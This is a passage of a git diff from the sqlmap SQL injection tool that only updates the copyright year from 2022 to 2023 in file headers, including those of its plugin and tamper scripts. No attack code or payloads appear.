-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/__init__.py b/plugins/generic/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/plugins/generic/__init__.py
+++ b/plugins/generic/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/connector.py b/plugins/generic/connector.py
index 0375ca428b3..2512c7f1488 100644
--- a/plugins/generic/connector.py
+++ b/plugins/generic/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py
index 3002c0da175..fab62615be1 100644
--- a/plugins/generic/custom.py
+++ b/plugins/generic/custom.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py
index 32cfe28f018..b69c9f67ee6 100644
--- a/plugins/generic/databases.py
+++ b/plugins/generic/databases.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py
index 365fad20452..a8e0bce7a16 100644
--- a/plugins/generic/entries.py
+++ b/plugins/generic/entries.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py
index 95bdbfb7134..f09876f1eda 100644
--- a/plugins/generic/enumeration.py
+++ b/plugins/generic/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py
index 2c073c78eb2..4c046f645f5 100644
--- a/plugins/generic/filesystem.py
+++ b/plugins/generic/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py
index 0ac3e2b0f0b..0bdcb35c111 100644
--- a/plugins/generic/fingerprint.py
+++ b/plugins/generic/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py
index f3459c8c980..f061d585165 100644
--- a/plugins/generic/misc.py
+++ b/plugins/generic/misc.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/search.py b/plugins/generic/search.py
index 12195a16163..bb670b71843 100644
--- a/plugins/generic/search.py
+++ b/plugins/generic/search.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py
index 9d1da3e20f1..146a713249b 100644
--- a/plugins/generic/syntax.py
+++ b/plugins/generic/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py
index edb067a3b5b..429653b0087 100644
--- a/plugins/generic/takeover.py
+++ b/plugins/generic/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/users.py b/plugins/generic/users.py
index 0b658f2b0ab..ddef85a2a32 100644
--- a/plugins/generic/users.py
+++ b/plugins/generic/users.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/sqlmap.py b/sqlmap.py
index 93bc145aaa9..33a0cae0e7e 100755
--- a/sqlmap.py
+++ b/sqlmap.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/sqlmapapi.py b/sqlmapapi.py
index 35a1f3edcfb..2bcb2a2bb7c 100755
--- a/sqlmapapi.py
+++ b/sqlmapapi.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/0eunion.py b/tamper/0eunion.py
index 1a84ac3805c..84587ee4d4f 100644
--- a/tamper/0eunion.py
+++ b/tamper/0eunion.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/__init__.py b/tamper/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/tamper/__init__.py
+++ b/tamper/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/apostrophemask.py b/tamper/apostrophemask.py
index 26b7c523385..67b38d31ce2 100644
--- a/tamper/apostrophemask.py
+++ b/tamper/apostrophemask.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/apostrophenullencode.py b/tamper/apostrophenullencode.py
index d65fcda5e1c..c9334100e91 100644
--- a/tamper/apostrophenullencode.py
+++ b/tamper/apostrophenullencode.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/appendnullbyte.py b/tamper/appendnullbyte.py
index 46e8ed626b2..7c565859724 100644
--- a/tamper/appendnullbyte.py
+++ b/tamper/appendnullbyte.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/base64encode.py b/tamper/base64encode.py
index 070442c7e81..d813876d120 100644
--- a/tamper/base64encode.py
+++ b/tamper/base64encode.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/between.py b/tamper/between.py
index 5f440575720..d101f210e89 100644
--- a/tamper/between.py
+++ b/tamper/between.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/binary.py b/tamper/binary.py
index 82ca49b3d93..24bdcbca145 100644
--- a/tamper/binary.py
+++ b/tamper/binary.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/bluecoat.py b/tamper/bluecoat.py
index 3363226eb03..8804a3a9b08 100644
--- a/tamper/bluecoat.py
+++ b/tamper/bluecoat.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/chardoubleencode.py b/tamper/chardoubleencode.py
index f14e6558ab2..bb0c4ca17fd 100644
--- a/tamper/chardoubleencode.py
+++ b/tamper/chardoubleencode.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/charencode.py b/tamper/charencode.py
index 9c2bd1b6152..f676cab8b29 100644
--- a/tamper/charencode.py
+++ b/tamper/charencode.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/charunicodeencode.py b/tamper/charunicodeencode.py
index 1005ca7390a..fd0427f0cfd 100644
--- a/tamper/charunicodeencode.py
+++ b/tamper/charunicodeencode.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/charunicodeescape.py b/tamper/charunicodeescape.py
index 136a2a5de17..cec28fb8d48 100644
--- a/tamper/charunicodeescape.py
+++ b/tamper/charunicodeescape.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/commalesslimit.py b/tamper/commalesslimit.py
index 99464794f96..18443bb88f4 100644
--- a/tamper/commalesslimit.py
+++ b/tamper/commalesslimit.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/commalessmid.py b/tamper/commalessmid.py
index 3764bc6e568..6e652778edd 100644
--- a/tamper/commalessmid.py
+++ b/tamper/commalessmid.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/commentbeforeparentheses.py b/tamper/commentbeforeparentheses.py
index dd330250a70..fa2b3d8a453 100644
--- a/tamper/commentbeforeparentheses.py
+++ b/tamper/commentbeforeparentheses.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/concat2concatws.py b/tamper/concat2concatws.py
index ce269f5139b..8a4362cdd3f 100644
--- a/tamper/concat2concatws.py
+++ b/tamper/concat2concatws.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/decentities.py b/tamper/decentities.py
index 4dfb058da34..187e352ae4b 100644
--- a/tamper/decentities.py
+++ b/tamper/decentities.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/dunion.py b/tamper/dunion.py
index 2beeeb9741f..f4b5cceb2ea 100644
--- a/tamper/dunion.py
+++ b/tamper/dunion.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/equaltolike.py b/tamper/equaltolike.py
index 70cdfb2f5f5..c86d1d48c35 100644
--- a/tamper/equaltolike.py
+++ b/tamper/equaltolike.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/equaltorlike.py b/tamper/equaltorlike.py
index d8e1601069f..67dfdf7492a 100644
--- a/tamper/equaltorlike.py
+++ b/tamper/equaltorlike.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/escapequotes.py b/tamper/escapequotes.py
index a41a7b496d0..85531ea6764 100644
--- a/tamper/escapequotes.py
+++ b/tamper/escapequotes.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/greatest.py b/tamper/greatest.py
index 92ca931b6e5..091e722d57e 100644
--- a/tamper/greatest.py
+++ b/tamper/greatest.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/halfversionedmorekeywords.py b/tamper/halfversionedmorekeywords.py
index acfc4d2ffc1..e43870f5a53 100644
--- a/tamper/halfversionedmorekeywords.py
+++ b/tamper/halfversionedmorekeywords.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/hex2char.py b/tamper/hex2char.py
index 4fb1408ed8f..996265384bf 100644
--- a/tamper/hex2char.py
+++ b/tamper/hex2char.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/hexentities.py b/tamper/hexentities.py
index 0bce83bc071..e60ed8df9de 100644
--- a/tamper/hexentities.py
+++ b/tamper/hexentities.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/htmlencode.py b/tamper/htmlencode.py
index b9a7725115f..0fcdef0c64f 100644
--- a/tamper/htmlencode.py
+++ b/tamper/htmlencode.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/ifnull2casewhenisnull.py b/tamper/ifnull2casewhenisnull.py
index ab1d8a0745a..e8b5de7d333 100644
--- a/tamper/ifnull2casewhenisnull.py
+++ b/tamper/ifnull2casewhenisnull.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """
 
diff --git a/tamper/ifnull2ifisnull.py b/tamper/ifnull2ifisnull.py
index d8aa5451c06..6fac2758f7c 100644
--- a/tamper/ifnull2ifisnull.py
+++ b/tamper/ifnull2ifisnull.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/informationschemacomment.py b/tamper/informationschemacomment.py
index a2ef9362168..8272ec280d4 100644
--- a/tamper/informationschemacomment.py
+++ b/tamper/informationschemacomment.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/least.py b/tamper/least.py
index cab908790a2..d59f1a458eb 100644
--- a/tamper/least.py
+++ b/tamper/least.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/lowercase.py b/tamper/lowercase.py
index efaf360bb25..9d49eb3e4b1 100644
--- a/tamper/lowercase.py
+++ b/tamper/lowercase.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/luanginx.py b/tamper/luanginx.py
index dec6d623c61..b302e71d6ae 100644
--- a/tamper/luanginx.py
+++ b/tamper/luanginx.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/misunion.py b/tamper/misunion.py
index 9737f04ea30..9f1c5d95756 100644
--- a/tamper/misunion.py
+++ b/tamper/misunion.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/modsecurityversioned.py b/tamper/modsecurityversioned.py
index 3453c7e1ad4..25c66f0bcae 100644
--- a/tamper/modsecurityversioned.py
+++ b/tamper/modsecurityversioned.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/modsecurityzeroversioned.py b/tamper/modsecurityzeroversioned.py
index 590404908cb..0d3ca440ede 100644
--- a/tamper/modsecurityzeroversioned.py
+++ b/tamper/modsecurityzeroversioned.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/multiplespaces.py b/tamper/multiplespaces.py
index 76122e7677d..b3cd78c06da 100644
--- a/tamper/multiplespaces.py
+++ b/tamper/multiplespaces.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/ord2ascii.py b/tamper/ord2ascii.py
index 3f6c2a57bf5..b7b0676b4ff 100644
--- a/tamper/ord2ascii.py
+++ b/tamper/ord2ascii.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/overlongutf8.py b/tamper/overlongutf8.py
index 31e31cf1f1e..ba8de68b50e 100644
--- a/tamper/overlongutf8.py
+++ b/tamper/overlongutf8.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/overlongutf8more.py b/tamper/overlongutf8more.py
index a0013c71a5e..343312e0bc6 100644
--- a/tamper/overlongutf8more.py
+++ b/tamper/overlongutf8more.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/percentage.py b/tamper/percentage.py
index edce9d630a8..e65dc957373 100644
--- a/tamper/percentage.py
+++ b/tamper/percentage.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/plus2concat.py b/tamper/plus2concat.py
index 13ac64e1600..b7f862aa9e8 100644
--- a/tamper/plus2concat.py
+++ b/tamper/plus2concat.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/plus2fnconcat.py b/tamper/plus2fnconcat.py
index 6a50132afaf..39cd9ed2501 100644
--- a/tamper/plus2fnconcat.py
+++ b/tamper/plus2fnconcat.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/randomcase.py b/tamper/randomcase.py
index ce614e474f4..b2737445e5d 100644
--- a/tamper/randomcase.py
+++ b/tamper/randomcase.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/randomcomments.py b/tamper/randomcomments.py
index 59d79819e3c..a6d378f2113 100644
--- a/tamper/randomcomments.py
+++ b/tamper/randomcomments.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/schemasplit.py b/tamper/schemasplit.py
index a4f0ca2ad41..c05b45ad0c4 100644
--- a/tamper/schemasplit.py
+++ b/tamper/schemasplit.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/scientific.py b/tamper/scientific.py
index 28f94a825e8..95f40158153 100644
--- a/tamper/scientific.py
+++ b/tamper/scientific.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/sleep2getlock.py b/tamper/sleep2getlock.py
index f249c9eace0..5fb1cd01a49 100644
--- a/tamper/sleep2getlock.py
+++ b/tamper/sleep2getlock.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/sp_password.py b/tamper/sp_password.py
index 9169cd593c7..a693712c64b 100644
--- a/tamper/sp_password.py
+++ b/tamper/sp_password.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/space2comment.py b/tamper/space2comment.py
index 35c4bbad666..59689836a0f 100644
--- a/tamper/space2comment.py
+++ b/tamper/space2comment.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/space2dash.py b/tamper/space2dash.py
index 6079a33126d..b23000831fa 100644
--- a/tamper/space2dash.py
+++ b/tamper/space2dash.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/space2hash.py b/tamper/space2hash.py
index 797fde11656..9cc18554679 100644
--- a/tamper/space2hash.py
+++ b/tamper/space2hash.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/space2morecomment.py b/tamper/space2morecomment.py
index 67d318df2b6..bd29e1d6f88 100644
--- a/tamper/space2morecomment.py
+++ b/tamper/space2morecomment.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/space2morehash.py b/tamper/space2morehash.py
index a5a7ee44783..77ff792c9fa 100644
--- a/tamper/space2morehash.py
+++ b/tamper/space2morehash.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/space2mssqlblank.py b/tamper/space2mssqlblank.py
index 46c155de60d..01a3f6b93da 100644
--- a/tamper/space2mssqlblank.py
+++ b/tamper/space2mssqlblank.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
